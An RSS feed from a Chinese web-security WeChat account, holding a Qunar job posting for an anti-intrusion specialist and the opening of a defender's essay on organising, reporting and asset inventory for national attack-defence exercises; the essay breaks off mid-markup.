<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Web安全与前端</title>
    <link>https://wechat2rss.xlab.app/feed/837190f74457627e0a5567700c573fe8afd7d3fe.xml</link>
    <description>分享Web安全与前端相关技术&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (Web安全与前端)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM5G3t86kS5Fqn2dwypF9O3FA7nBQhZ7s4G6MEU05Il3TQ/0</url>
      <title>Web安全与前端</title>
      <link>https://wechat2rss.xlab.app/feed/837190f74457627e0a5567700c573fe8afd7d3fe.xml</link>
    </image>
    <item>
      <title>去哪儿网安全招聘：反入侵运营专家</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483949&amp;idx=1&amp;sn=007998a58ae379c0ee5aaa3f4734b35c</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>TuuuNya</span> <span>2025-02-27 13:51</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d40066ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyBu275GJVw9RJSVY7Ud1z3bvakM5b4Ds7BcsBrqWzrwtOiaP3M5Fib1G3Dic0CzMSXtIKsk7JwZeqxw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span leaf=""><span textstyle="" style="font-weight: bold;">岗位描述</span></span></p><p><span leaf="">负责部门内安全反入侵相关工作，包括：</span></p><p><span leaf="">&gt; 纵深防御体系能力建设和提升，如商业安全产品策略运营、入侵检测策略与模型的设计开发及运营、溯源反制能力建设等。</span></p><p><span leaf="">&gt; 安全应急响应能力建设及运营，能够对安全事件进行响应和调查，提高响应和阻断效率。</span></p><p><span leaf="">&gt; 追踪业界安全能力建设实践，发现公司能力短板并规划落地，协调组织内外部红蓝对抗。</span></p><p><span leaf=""><br/></span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">任职要求</span></span></p><p><span leaf="">&gt; 熟悉常见操作系统及服务的供方手法及常见的防御、检测机制。</span></p><p><span leaf="">&gt; 具备Web攻击、网络流量分析、木马/rootkit分析、安全事件调查等相关专业知识。</span></p><p><span leaf="">&gt; 熟悉常见的互联网架构和解决方案，熟悉企业基础安全措施及常见的企业安全最佳实践。</span></p><p><span leaf="">&gt; 熟练运用Java/Python/Go/PHP其中一种编程语言。</span></p><p><span leaf="">&gt; 良好的沟通及团队合作能力，3年以上甲方安全建设经验。</span></p><p><span leaf=""><br/></span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">加分项</span></span></p><p><span leaf="">&gt; 有大型互联网SIEM、SOC、SOAR实际建设和落地运营经验优先。</span></p><p><span leaf="">&gt; 使用Spark、Flink、ELK、Hadoop等大数据架构落地过成熟项目的优先。</span></p><p><span leaf=""><br/></span></p><p><span leaf="">base：北京-海淀</span></p><p><span leaf="">点击“查看原文”或联系我投递简历</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000292" data-ratio="1.3518518518518519" data-s="300,640" type="block" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=91b6ad61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyBu275GJVw9RJSVY7Ud1z38QhMOEpr8oVro10cM8RxnpGxTdXExsN54t6ZDp6kumyujQHZicI6nTA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section><p><span leaf=""><br/></span></p><section><span leaf=""><br/></span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://app.mokahr.com/su/f8VDz">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=805fffa8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483949%26idx%3D1%26sn%3D007998a58ae379c0ee5aaa3f4734b35c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 27 Feb 2025 13:51:00 +0800</pubDate>
    </item>
    <item>
      <title>全国攻防演习的防守体系建设</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483938&amp;idx=1&amp;sn=b75db6428192ee4f8a0d519de79e92be</link>
      <description>作为攻防演习防守方的一些思考和经验。</description>
      <content:encoded><![CDATA[<p>
原创 <span>TuuuNya</span> <span>2022-07-08 11:47</span> <span style="display: inline-block;">北京</span>
</p>

<p>作为攻防演习防守方的一些思考和经验。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8b7e72af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Bayxfmiacssoibz2U85VfVnXw5fy8JQC3jLFDz3YiaU6NPzZr6ribOoy0bSHUaygrEwcGT4D2XcbY1jEdnw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 1.75em;font-weight: bold;orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);">0. 前言</span><br/></p><p cid="n3" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">笔者于2019年入职阿里巴巴，负责某业务反入侵团队。这三年时间刚好完整参加了三次全国范围的攻防演习活动，第一次是刚入职参加的，刚了解业务，后两次攻防演习作为一号位，带领安全团队均拿下了优异的成绩（全国防守排名前三）。</span></p><p cid="n4" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">21年9月加入了默安科技。本文是笔者对阿里这段工作经历的小结，希望能够对大家有所帮助。安全工作还是要结合业务情况来进行部署，不一定完全适用于所有公司。这几年一直在埋头苦干，非常希望与大家多多交流，如有不足之处欢迎批评指正。</span></p><h2 cid="n5" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">1. 确定防守目标</span></h2><p cid="n6" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">攻防演习开始前，需要提交参演方相关信息，比较关键的的是核心业务系统和蜜罐信息。</span></p><p cid="n7" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;outline: 0px;box-shadow: none;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">前几年演习是有被攻击“出局”这个说法的，核心系统被攻破基本就“出局”了。核心业务系统的选择对结果有重要的影响，所以核心业务系统尽量选择业务隔离内网的目标作为核心目标。不仅可以提升攻击难度，也可以借助演习让攻击者对本单位进行一次彻彻底底的渗透测试。</span></p><p cid="n8" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">在明确了核心业务系统后，我们后续的安全排查和加固工作，都要围绕核心业务系统展开。具体排查和加固方式后面</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">3. 安全排查/加固</code></span><span md-inline="plain" style="box-sizing: border-box;">部分重点分享。</span></p><p cid="n9" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">另外一个要报备的关键信息是蜜罐，如果没有报备的蜜罐被入侵，不管是自建的还是采购的商业蜜罐，都会算做防守方失分，所以这点一定不能遗漏，尤其是具有高交互特性的蜜罐。蜜罐至少要提供蜜罐的URL、IP、端口、截图。关于蜜罐的部署和利用，我会在后面</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">3.4 反入侵能力增强</code></span><span md-inline="plain" style="box-sizing: border-box;">部分重点讲，蜜罐在威胁感知、溯源反制和威胁情报的重要作用。</span></p><h2 cid="n10" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">2. 组织保障</span></h2><p cid="n11" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">整个攻防演习期间组织保障非常关键，公司业务层面的重视程度会影响安全排查和加固的效率，间接影响效果。举个最简单的例子，安全团队要梳理各域名资产责任人，需要与运维团队配合，很多老旧的历史资产无人维护，甚至需要找到对应的研发来确认资产所属。如果研发和运维团队认为演习只是安全团队的事情，配合效率低下，这是很可怕的事情。</span></p><h3 cid="n12" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">2.1 项目重要性</span></h3><p cid="n13" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">为了解决组织内各个团队的配合问题，一定要将演习的优先级在大部门内提起来，这个各个公司可能都不太一样，我们公司是自上而下比较重视攻防演习，所以我们的重点工作主要是制定演习方案。制定好演习方案后与产研、运维、运营等团队达成一致，明确各团队职责，确定演习接口人与安全团队对接。</span></p><p cid="n14" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">由于攻防演习本身的性质是针对基础设施的，所以大部分安全部门接到演习任务基本都是“政治任务”，很少会有不重视演习的情况。安全部门要借这个机会尽可能的争取资源、预算，不论整体安全能力如何，每年的攻防演习都是全员配合的重要任务，这是最容易提升安全能力的时候，日常推不动的工作，在演习的背景下，很多问题可以迎刃而解。</span></p><p cid="n15" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">除了部门内部的协作外，还要考虑体系内是否有其它安全力量可以合作。比如部分生态公司、合作伙伴与本业务的网络架构有耦合，这些也可能会成为攻击者的突破口，需要对方也做好演习的相关准备，至少要做到攻击情报互通。</span></p><h3 cid="n16" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">2.2 项目启动</span></h3><p cid="n17" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">在都已经明确各方职责，私下达成一致后，可以开一个项目启动会。介绍演习的背景、规则、目标，以及演习的时间安排、人员安排、工作内容安排等。工作内容是最重要的部分，主要的思路可参考后面</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">3. 安全排查/加固</code></span><span md-inline="plain" style="box-sizing: border-box;">部分的介绍。笔者在其他论坛上看到有人抱怨演习备战中各方都不配合，内部甚至也在“摸鱼”，其实核心原因就是大家的职责不明确，认为自己所做的事情可有可无。所以在启动会上一定要明确这点，大任务分拆成小任务，小任务完不成，大任务也不会有好结果。</span></p><h3 cid="n18" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">2.3 进度风险汇报</span></h3><p cid="n19" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">项目启动会后，演习正式进入全面备战阶段。</span></p><p cid="n20" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">演习备战的大部分工作是安全自身要做的工作，比如Agent部署率、安全产品规则检查等。当然也有很大一部分工作其实并不是安全团队完成，比如业务接入统一认证系统、漏洞修复，可能更多的是研发需要工作，安全部门大多是推动工作，推动的痛苦相信甲乙方的同学应该都了解，如果推不动，对演习结果产生影响是谁都不想看到的，所以备战期间定期进度review非常重要，我们这两年都是秉承着“急事随时汇报，阶段性每周汇报”的思路。说起汇报，就要说一说，汇报给谁？答案是要汇报给兄弟团队，汇报给产研、运维、运营，最重要的是汇报给大领导，因为要汇报的不仅仅是进度，还有需要决策的风险。如果只是汇报进度，周报就完全足够了。</span></p><p cid="n21" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">进度汇报的主要思路是围绕“风险”进行汇报，首先是我们目前关注哪些风险？其次是哪些已知的风险落地有风险？比如互联网边界排查，ACL边界开放过大是我们关注的风险，内部系统开放到外部的风险大家都懂，但是我们在排查中就发现有很多内部系统开放到一些未知的IP段，这些IP段看起来似乎也不是本业务的相关IP，但也无人认领。安全部门要不要封禁这些IP段？敢不敢封禁？如何封禁？每周的汇报会上就是要讨论这些风险的如何处理。</span></p><h2 cid="n22" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3. 安全排查/加固</span></h2><p cid="n23" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">攻防演习防守的其实是企业资产，演习前的一切安全排查和加固都围绕核心资产展开，以核心资产为中心，向外辐射到各个资产。资产包括物理资产、硬件资产、软件资产等，另外人也是红蓝对抗中最容易造成突破口的资产。梳理资产的目的是为了明确网络边界，只有明确了网络边界和防守边界，才能更好的制定策略。如何梳理全面企业资产我会在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">3.1 梳理资产</code></span><span md-inline="plain" style="box-sizing: border-box;">部分详细介绍。</span></p><p cid="n24" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">我们在落地过程中主要围绕安全部门各小团队的职责来划分工作，读者可以视各自的情况来定。我们主要分为生产网安全、物理安全、数据安全、反入侵这四个部分来构建防御体系。各个团队可能会有部分职责重叠的地方，比如系统网络和应用安全都会面临弱口令等数据安全相关的权限问题，这很正常，在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">进度风险汇报</code></span><span md-inline="plain" style="box-sizing: border-box;">中说清楚做了哪些，哪些还没做，定清楚Owner即可。</span></p><p cid="n25" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">为了保障安全排查的全面性，大部分工作都是正向自查和红队反查的方式进行。下面各章节会详细介绍如何正反怎么配合进行。</span></p><h3 cid="n26" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.1 梳理资产</span></h3><p cid="n27" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">首先资产主要分为硬件资产、软件资产和人。软件资产和人其实相对是比较好收集的，数字化能力相对比较高。硬件资产比较依赖IT和IDC相关部门的能力。不论以何种方式完成资产的梳理，哪怕是Excel来收集，这是一定要做的。</span></p><p cid="n28" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: 